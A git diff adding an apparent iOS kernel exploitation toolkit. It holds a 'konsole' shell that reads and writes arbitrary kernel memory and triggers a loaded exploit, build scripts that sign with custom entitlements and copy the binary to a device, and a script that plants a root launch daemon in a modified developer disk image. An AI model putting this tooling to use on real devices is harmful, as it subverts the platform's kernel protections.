+ attributes = { + LastUpgradeCheck = 0510; + }; + buildConfigurationList = 8A75E8E0197EEE6A0007FCA7 /* Build configuration list for PBXProject "konsole" */; + compatibilityVersion = "Xcode 3.2"; + developmentRegion = English; + hasScannedForEncodings = 0; + knownRegions = ( + en, + ); + mainGroup = 8A75E8DC197EEE6A0007FCA7; + productRefGroup = 8A75E8E6197EEE6A0007FCA7 /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 8A75E8E4197EEE6A0007FCA7 /* konsole */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXShellScriptBuildPhase section */ + 8A75E8E3197EEE6A0007FCA7 /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "/opt/iOSOpenDev/bin/iosod --xcbp"; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 8A75E8E1197EEE6A0007FCA7 /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A75E931197EF97E0007FCA7 /* macho.c in Sources */, + 8A75E939197EF97E0007FCA7 /* vmmap.c in Sources */, + 8A75E92F197EF97E0007FCA7 /* kernel.c in Sources */, + 8A75E92D197EF97E0007FCA7 /* find.c in Sources */, + 8A75E934197EF97E0007FCA7 /* section.c in Sources */, + 8A75E92C197EF97E0007FCA7 /* earlyrandom.c in Sources */, + 8A75E901197EF08D0007FCA7 /* shell.c in Sources */, + 8A75E92E197EF97E0007FCA7 /* kaslr.c in Sources */, + 8A75E92B197EF97E0007FCA7 /* devtree.c in Sources */, + 8A75E929197EF97E0007FCA7 /* command.c in Sources */, + 8A75E938197EF97E0007FCA7 /* tfp0.c in Sources */, + 8A75E94B197F00A80007FCA7 /* debug.c in Sources */, + 8A75E930197EF97E0007FCA7 /* m1n0rthreat.c in Sources */, + 8A75E928197EF97E0007FCA7 /* avio.c in Sources */, + 8A75E936197EF97E0007FCA7 /* symbol.c in Sources */, + 8A75E937197EF97E0007FCA7 /* symtab.c in Sources */, + 8A75E92A197EF97E0007FCA7 /* dangu.c in Sources */, + 8A75E935197EF97E0007FCA7 /* segment.c in Sources */, + 8A75E8F2197EEE6A0007FCA7 /* konsole.c in Sources */, + 8A75E933197EF97E0007FCA7 /* pmap.c in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin XCBuildConfiguration section */ + 8A75E8F3197EEE6A0007FCA7 /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = NO; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_DYNAMIC_NO_PIC = NO; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_SYMBOLS_PRIVATE_EXTERN = NO; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.1; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = NO; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Debug; + }; + 8A75E8F4197EEE6A0007FCA7 /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = YES; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.1; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = YES; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Release; + }; + 8A75E8F6197EEE6A0007FCA7 /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = ""; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = YES; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Debug; + }; + 8A75E8F7197EEE6A0007FCA7 /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = ""; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = YES; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 8A75E8E0197EEE6A0007FCA7 /* Build configuration list for PBXProject "konsole" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A75E8F3197EEE6A0007FCA7 /* Debug */, + 8A75E8F4197EEE6A0007FCA7 /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 8A75E8F5197EEE6A0007FCA7 /* Build configuration list for PBXNativeTarget "konsole" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A75E8F6197EEE6A0007FCA7 /* Debug */, + 8A75E8F7197EEE6A0007FCA7 /* Release */, + ); + defaultConfigurationIsVisible = 0; + }; +/* End XCConfigurationList section */ + }; + rootObject = 8A75E8DD197EEE6A0007FCA7 /* Project object */; +} diff --git a/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/konsole.xcscheme b/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/konsole.xcscheme new file mode 100644 index 0000000..93d3788 --- /dev/null +++ b/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/konsole.xcscheme @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist b/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..a43f907 --- /dev/null +++ b/konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,22 @@ + + + + + SchemeUserState + + konsole.xcscheme + + orderHint + 4 + + + SuppressBuildableAutocreation + + 8A75E8E4197EEE6A0007FCA7 + + primary + + + + + diff --git a/konsole/konsole/PackageVersion.plist b/konsole/konsole/PackageVersion.plist new file mode 100644 index 0000000..7b7575c --- /dev/null +++ b/konsole/konsole/PackageVersion.plist @@ -0,0 +1,16 @@ + + + + + BugFix + + Major + 1 + Minor + 0 + PackageRevision + 1 + Stage + + + diff --git a/konsole/konsole/debug.c b/konsole/konsole/debug.c new file mode 100644 index 0000000..52b3fc1 --- /dev/null +++ b/konsole/konsole/debug.c @@ -0,0 +1,54 @@ +// +// debug.c +// konsole +// +// Created by Joshua Hill on 7/22/14. +// +// + +#include +#include + +void hexdump(unsigned char* buf, unsigned int len) { + int i, j; + unsigned int offset = 0; + char buffer[0x4000]; + memset(buffer, '\0', 0x4000); + + offset += sprintf(&buffer[offset], "0x%08x: ", buf); + for (i = 0; i < len; i++) { + if (i % 16 == 0 && i != 0) { + for (j=i-16; j < i; j++) { + unsigned char car = buf[j]; + if (car < 0x20 || car > 0x7f) car = '.'; + offset += sprintf(&buffer[offset], "%c", car); + } + syslog(LOG_ERR, "%s", buffer); + offset = 0; + memset(buffer, '\0', 0x4000); + offset += sprintf(&buffer[offset], "0x%08x: ", buf+i); + } + offset += sprintf(&buffer[offset], "%02x ", buf[i]); + } + + int done = (i % 16); + int remains = 16 - done; + if (done > 0) { + for (j = 0; j < remains; j++) { + offset += sprintf(&buffer[offset], " "); + } + } + + if ((i - done) >= 0) { + if (done == 0 && i > 0) done = 16; + for (j = (i - done); j < i; j++) { + unsigned char car = buf[j]; + if (car < 0x20 || car > 0x7f) car = '.'; + offset += sprintf(&buffer[offset], "%c", car); + } + } + + syslog(LOG_ERR, "%s", buffer); + memset(buffer, '\0', 0x4000); + offset = 0; +} \ No newline at end of file diff --git a/konsole/konsole/debug.plist b/konsole/konsole/debug.plist new file mode 100644 index 0000000000000000000000000000000000000000..99c5984cb714537081c97def10dd0bffa319d889 GIT binary patch literal 295 zcmZXOO-e&C6ovczYlBLI1=rxfgbv(5p&&&BC!IE=$+d=;=Emf{SGt|L1Hn}|vZ6b1 z4LYclho;BYwSjH7p%y4|;8XLoP^fU!fS_-P4qbEjPp+8D@LOcGWxD}F*cm+BUi zip~n{JL7!<$wAHBx0^Kc27v?tkHSAxAs zNMH!;70mN!0wmVM+rdS%rFh4qDJ{-|Sk(t|9~fI49gl{=-B-|u+8G%16>ks1 i>P!A}SgUj1^AC?t&o9f@_m9uUMn$n@qy58Qe0>9FcVYJc literal 0 HcmV?d00001 diff --git a/konsole/konsole/konsole.c b/konsole/konsole/konsole.c new file mode 100644 index 0000000..e63ab6d --- /dev/null +++ b/konsole/konsole/konsole.c @@ -0,0 +1,17 @@ +// +// main.c +// konsole +// +// Created by Joshua Hill on 7/22/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. +// + +#include + +#include "shell.h" + +int main(int argc, char* argv[]) { + kernel_shell(); + return 0; +} + diff --git a/konsole/konsole/shell.c b/konsole/konsole/shell.c new file mode 100644 index 0000000..4384152 --- /dev/null +++ b/konsole/konsole/shell.c @@ -0,0 +1,227 @@ +// +// kshell.c +// konsole +// +// Created by Joshua Hill on 7/22/14. +// +// + +#include +#include +#include + +#include "debug.h" +#include "shell.h" +#include "kernel.h" + +static kernel_t* kern = NULL; + +int cmd_md(int argc, char* argv[]); +int cmd_mw(int argc, char* argv[]); +int cmd_help(int argc, char* argv[]); +int cmd_exit(int argc, char* argv[]); +int cmd_echo(int argc, char* argv[]); +int cmd_base(int argc, char* argv[]); +int cmd_slide(int argc, char* argv[]); +int cmd_exploit(int argc, char* argv[]); +int cmd_hexdump(int argc, char* argv[]); + +static const cmd_info_t commands[] = { + { "help", cmd_help, "Print help message" }, + { "exit", cmd_exit, "Exit kernel shell" }, + { "echo", cmd_echo, "Echo characters to the screen" }, + { "md", cmd_md, "Display the value at address" }, + { "mw", cmd_mw, "Write value to address" }, + { "base", cmd_base, "Get kernel base address" }, + { "slide", cmd_slide, "Get kernel ASLR slide" }, + { "hexdump", cmd_hexdump, "Dump memory from kernel" }, + { "exploit", cmd_exploit, "Test currently loaded exploit" }, + { 0, 0, 0 } +}; + +int cmd_help(int argc, char* argv[]) { + int i = 0; + printf("Commands:\n"); + for (i = 0; commands[i].name != NULL; i++) { + printf(" %s \t", commands[i].name); + if (strlen(commands[i].name) < 5) + printf(" \t"); + printf("%s\n", commands[i].description); + } + printf("\n"); + return 0; +} + +int cmd_exit(int argc, char* argv[]) { + printf("Goodbye\n"); + exit(1); + return 0; +} + +int cmd_echo(int argc, char* argv[]) { + int i = 0; + if (argc >= 2) { + for (i = 1; i < argc; i++) { + printf("%s ", argv[i]); + } + printf("\n"); + return 0; + } + + printf("usage: echo \n"); + return 0; +} + +int cmd_hexdump(int argc, char* argv[]) { + unsigned int len = 0; + unsigned int addr = 0; + unsigned char* buf = NULL; + if (argc != 3) { + printf("usage: hexdump
\n"); + return 0; + } + + addr = (unsigned char*) strtoul(argv[1], 0, 0); + len = (unsigned int) strtoul(argv[2], 0, 0); + buf = (unsigned char*) malloc(len); + + kern->read(addr, buf, len); + hexdump(buf, len); + return 0; +} + +int cmd_mw(int argc, char* argv[]) { + if (argc != 3) { + printf("usage: mw
\n"); + return 0; + } + + unsigned int address = (unsigned int) strtoul(argv[1], 0, 0); + unsigned int value = (unsigned int) strtoul(argv[2], 0, 0); + + kern->set(address, value); + return 0; +} + +int cmd_md(int argc, char* argv[]) { + if (argc != 2) { + printf("usage: md
\n"); + return 0; + } + + unsigned long address = strtoul(argv[1], 0, 0); + unsigned int value = kern->get(address); + + printf("0x%08x\n", value); + return value; +} + +int cmd_search(int argc, char* argv[]) { + printf("Not implemented\n"); + return 0; +} + +int cmd_string(int argc, char* arg[]) { + printf("Not implemented\n"); + return 0; +} + +int cmd_fuzz(int argc, char* argv[]) { + printf("Not implemented\n"); + return 0; +} + +int cmd_break(int argc, char* argv[]) { + printf("Not implemented\n"); + return 0; +} + +int cmd_base(int argc, char* argv[]) { + printf("0x%lx\n", kern->base); + return 0; +} + +int cmd_slide(int argc, char* argv[]) { + printf("0x%lx\n", kern->slide); + return 0; +} + +int cmd_exploit(int argc, char* argv[]) { + kern->exploit(kern); + return 0; +} + +void lineToArgs(char* line, char*** argv, int* argc) { + int count = 0; + char* input = strdup(line); + char** args = (char**)malloc(sizeof(char*) * 0x100); + + char* next = input; + char* prev = input; + while(count < 0x100) { + next = strchr((const char*) next, ' '); + if(next) { + next[0] = '\0'; + next++; + args[count] = prev; + prev = next; + + } else { + next = prev; + next = strchr((const char*) next, '\n'); + if(next) { + next[0] = '\0'; + args[count] = prev; + + count++; + break; + } + } + count++; + } + + *argv = args; + *argc = count; +} + +int kernel_shell() { + char input[0x200]; + printf("Welcome to Konsole\n"); + printf("Type 'help' for a list of commands\n"); + kern = kernel_open(); + if(kern == NULL) { + printf("Unable to open kernel reference\n"); + return -1; + } + while(1) { + printf("> "); + memset(input, '\0', sizeof(input)); + fgets(input, sizeof(input), stdin); + + int argc = 0; + char** argv = NULL; + lineToArgs(input, &argv, &argc); + + if (argc > 0) { + int i = 0; + char* cmd = argv[0]; + for (i = 0; commands[i].name != NULL; i++) { + if(commands[i].name == NULL) { + printf("Command %s not found\n", cmd); + break; + + } else if (!strcmp(commands[i].name, cmd)) { + int ret = commands[i].handler(argc, argv); + if(ret) { + printf("Error executing command\n"); + } + break; + } + } + + + } + } + + return 0; +} \ No newline at end of file diff --git a/konsole/konsole/shell.h b/konsole/konsole/shell.h new file mode 100644 index 0000000..345f4be --- /dev/null +++ b/konsole/konsole/shell.h @@ -0,0 +1,22 @@ +// +// kshell.h +// konsole +// +// Created by Joshua Hill on 7/22/14. +// +// + +#ifndef konsole_kshell_h +#define konsole_kshell_h + +typedef int(*cmd_cb_t)(int argc, char* argv[]); + +typedef struct { + char* name; + cmd_cb_t handler; + char* description; +} cmd_info_t; + +int kernel_shell(void); + +#endif diff --git a/konsole/make.sh b/konsole/make.sh new file mode 100644 index 0000000..534799f --- /dev/null +++ b/konsole/make.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +rm -rf build +xcodebuild +codesign -f -s "iPhone Developer" --entitlements ./konsole/debug.plist build/Release-iphoneos/konsole +scp build/Release-iphoneos/konsole iphone:/usr/bin/konsole diff --git a/panic.sh b/panic.sh new file mode 100644 index 0000000..20e2176 --- /dev/null +++ b/panic.sh @@ -0,0 +1,27 @@ +#!/bin/bash + +echo "Sudo Chop!!!" + +# Clean up old staging files from subversi0n and rebuild +rm -rf ddi.dmg + +# Mount our new image +sudo hdiutil detach /Volumes/DDI +sudo hdiutil mount udrw.dmg + +# Remove old files +sudo rm -rf /Volumes/DDI/dump.dylib +sudo rm -rf /Volumes/DDI/patch.dylib +sudo rm -rf /Volumes/DDI/crack.dylib +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.dump.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.patch.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.crack.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.panic.plist + +sudo cp ./panic/com.sudo-sec.panic.plist /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.panic.plist + +# Unmount and convert to UDRO +sudo hdiutil detach /Volumes/DDI +sudo hdiutil convert -format UDRO -o ddi.dmg udrw.dmg + +echo "Done, copy ddi.dmg over to SudoPunch" diff --git a/panic/com.sudo-sec.panic.plist b/panic/com.sudo-sec.panic.plist new file mode 100644 index 0000000..9eb1b12 --- /dev/null +++ b/panic/com.sudo-sec.panic.plist @@ -0,0 +1,18 @@ + + + + + KeepAlive + + Label + com.sudo-sec.panic + ProgramArguments + + /System/Library/CoreServices/DumpPanic + + UserName + root + RunAtLoad + + + diff --git a/patch/patch.xcodeproj/project.pbxproj b/patch/patch.xcodeproj/project.pbxproj new file mode 100644 index 0000000..26960ce --- /dev/null +++ b/patch/patch.xcodeproj/project.pbxproj @@ -0,0 +1,540 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 46; + objects = { + +/* Begin PBXBuildFile section */ + 8A42487C1B44CE4900DC2E9F /* pangwho.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A42487A1B44CE4900DC2E9F /* pangwho.c */; }; + 8A6E73DC188EF2F8000D650F /* devtree.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73CC188EF2F8000D650F /* devtree.c */; }; + 8A6E73DD188EF2F8000D650F /* find.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73CE188EF2F8000D650F /* find.c */; }; + 8A6E73DE188EF2F8000D650F /* kaslr.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73D0188EF2F8000D650F /* kaslr.c */; }; + 8A6E73DF188EF2F8000D650F /* kernel.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73D2188EF2F8000D650F /* kernel.c */; }; + 8A6E73E0188EF2F8000D650F /* m1n0rthreat.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73D4188EF2F8000D650F /* m1n0rthreat.c */; }; + 8A6E73E1188EF2F8000D650F /* patch.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73D6188EF2F8000D650F /* patch.c */; }; + 8A6E73E2188EF2F8000D650F /* tfp0.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73D8188EF2F8000D650F /* tfp0.c */; }; + 8A6E73E3188EF2F8000D650F /* vmmap.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E73DA188EF2F8000D650F /* vmmap.c */; }; + 8A6E7437188EFDE4000D650F /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A6E7436188EFDE4000D650F /* CoreFoundation.framework */; }; + 8A6E7473189958DA000D650F /* command.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7467189958DA000D650F /* command.c */; }; + 8A6E7474189958DA000D650F /* macho.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7469189958DA000D650F /* macho.c */; }; + 8A6E7475189958DA000D650F /* section.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E746B189958DA000D650F /* section.c */; }; + 8A6E7476189958DA000D650F /* segment.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E746D189958DA000D650F /* segment.c */; }; + 8A6E7477189958DA000D650F /* symbol.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E746F189958DA000D650F /* symbol.c */; }; + 8A6E7478189958DA000D650F /* symtab.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7471189958DA000D650F /* symtab.c */; }; + 8A75E8FA197EEED10007FCA7 /* dangu.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E8F9197EEED10007FCA7 /* dangu.c */; }; + 8A75E8FE197EEF1D0007FCA7 /* earlyrandom.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A75E8FD197EEF1D0007FCA7 /* earlyrandom.c */; }; + 8A7EABF318E48C660066C1F8 /* pmap.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A7EABF218E48C660066C1F8 /* pmap.c */; }; + 8AB037D918DDEB64001AC096 /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A6E7438188EFDFE000D650F /* IOKit.framework */; }; + 8ACB7C821941A2A200E18AA3 /* avio.c in Sources */ = {isa = PBXBuildFile; fileRef = 8ACB7C811941A2A200E18AA3 /* avio.c */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 8A42487A1B44CE4900DC2E9F /* pangwho.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = pangwho.c; sourceTree = ""; }; + 8A42487B1B44CE4900DC2E9F /* pangwho.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = pangwho.h; sourceTree = ""; }; + 8A6E735E188EF0B0000D650F /* patch */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = patch; sourceTree = BUILT_PRODUCTS_DIR; }; + 8A6E7363188EF0B0000D650F /* control.txt */ = {isa = PBXFileReference; lastKnownFileType = text; name = control.txt; path = Package/DEBIAN/control.txt; sourceTree = ""; }; + 8A6E7364188EF0B0000D650F /* control */ = {isa = PBXFileReference; lastKnownFileType = text; name = control; path = Package/DEBIAN/control; sourceTree = ""; }; + 8A6E7366188EF0B0000D650F /* PackageVersion.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = PackageVersion.plist; sourceTree = ""; }; + 8A6E7369188EF0B0000D650F /* 0xdeadfa11 */ = {isa = PBXFileReference; lastKnownFileType = text; name = 0xdeadfa11; path = Package/usr/bin/0xdeadfa11; sourceTree = ""; }; + 8A6E73CB188EF2F8000D650F /* com.sudo-sec.patch.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = "com.sudo-sec.patch.plist"; sourceTree = ""; }; + 8A6E73CC188EF2F8000D650F /* devtree.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = devtree.c; sourceTree = ""; }; + 8A6E73CD188EF2F8000D650F /* devtree.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = devtree.h; sourceTree = ""; }; + 8A6E73CE188EF2F8000D650F /* find.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = find.c; sourceTree = ""; }; + 8A6E73CF188EF2F8000D650F /* find.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = find.h; sourceTree = ""; }; + 8A6E73D0188EF2F8000D650F /* kaslr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kaslr.c; sourceTree = ""; }; + 8A6E73D1188EF2F8000D650F /* kaslr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kaslr.h; sourceTree = ""; }; + 8A6E73D2188EF2F8000D650F /* kernel.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel.c; sourceTree = ""; }; + 8A6E73D3188EF2F8000D650F /* kernel.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel.h; sourceTree = ""; }; + 8A6E73D4188EF2F8000D650F /* m1n0rthreat.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = m1n0rthreat.c; sourceTree = ""; }; + 8A6E73D5188EF2F8000D650F /* m1n0rthreat.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = m1n0rthreat.h; sourceTree = ""; }; + 8A6E73D6188EF2F8000D650F /* patch.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patch.c; sourceTree = ""; }; + 8A6E73D7188EF2F8000D650F /* patch.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patch.h; sourceTree = ""; }; + 8A6E73D8188EF2F8000D650F /* tfp0.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = tfp0.c; sourceTree = ""; }; + 8A6E73D9188EF2F8000D650F /* tfp0.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = tfp0.h; sourceTree = ""; }; + 8A6E73DA188EF2F8000D650F /* vmmap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vmmap.c; sourceTree = ""; }; + 8A6E73DB188EF2F8000D650F /* vmmap.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vmmap.h; sourceTree = ""; }; + 8A6E7436188EFDE4000D650F /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = System/Library/Frameworks/CoreFoundation.framework; sourceTree = SDKROOT; }; + 8A6E7438188EFDFE000D650F /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = System/Library/Frameworks/IOKit.framework; sourceTree = SDKROOT; }; + 8A6E7467189958DA000D650F /* command.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = command.c; sourceTree = ""; }; + 8A6E7468189958DA000D650F /* command.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = command.h; sourceTree = ""; }; + 8A6E7469189958DA000D650F /* macho.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = macho.c; sourceTree = ""; }; + 8A6E746A189958DA000D650F /* macho.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = macho.h; sourceTree = ""; }; + 8A6E746B189958DA000D650F /* section.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = section.c; sourceTree = ""; }; + 8A6E746C189958DA000D650F /* section.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = section.h; sourceTree = ""; }; + 8A6E746D189958DA000D650F /* segment.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = segment.c; sourceTree = ""; }; + 8A6E746E189958DA000D650F /* segment.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = segment.h; sourceTree = ""; }; + 8A6E746F189958DA000D650F /* symbol.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = symbol.c; sourceTree = ""; }; + 8A6E7470189958DA000D650F /* symbol.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = symbol.h; sourceTree = ""; }; + 8A6E7471189958DA000D650F /* symtab.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = symtab.c; sourceTree = ""; }; + 8A6E7472189958DA000D650F /* symtab.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = symtab.h; sourceTree = ""; }; + 8A6E747A189959D0000D650F /* debug.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = debug.h; sourceTree = ""; }; + 8A75E8F9197EEED10007FCA7 /* dangu.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = dangu.c; sourceTree = ""; }; + 8A75E8FB197EEEE40007FCA7 /* dangu.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = dangu.h; sourceTree = ""; }; + 8A75E8FD197EEF1D0007FCA7 /* earlyrandom.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = earlyrandom.c; sourceTree = ""; }; + 8A75E8FF197EEF290007FCA7 /* earlyrandom.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = earlyrandom.h; sourceTree = ""; }; + 8A7EABF218E48C660066C1F8 /* pmap.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = pmap.c; sourceTree = ""; }; + 8A7EABF418E48C720066C1F8 /* pmap.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = pmap.h; sourceTree = ""; }; + 8ACB7C811941A2A200E18AA3 /* avio.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = 